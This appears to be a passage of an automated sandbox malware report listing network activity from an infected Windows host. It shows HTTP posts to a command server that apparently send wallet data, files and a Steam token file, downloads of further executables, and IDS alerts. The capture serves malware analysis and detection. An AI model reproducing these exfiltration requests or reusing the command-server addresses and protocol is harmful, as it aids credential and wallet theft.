Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFCBKJDBFIJKFHIIDAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 2d 2d 0d 0a Data Ascii: ------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="message"wallets------ECFCBKJDBFIJKFHIIDAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAFCAKKKFBFIDGDBFHHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="message"files------CAAAFCAKKKFBFIDGDBFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="file"------KKEBKJJDGHCBGCAAKEHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"ybncbhylepme------BAAAAKJKJEBGHJKFHIDG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIDBKFCAAEBFIDHDBAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 37 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006783001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49911 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:56852 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:56908 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56909 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56911 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:56912 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\DocumentsJKEHIIJJEC.exe

Code function: 22_2_00F8E0C0 recv,recv,recv,recv,

22_2_00F8E0C0

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
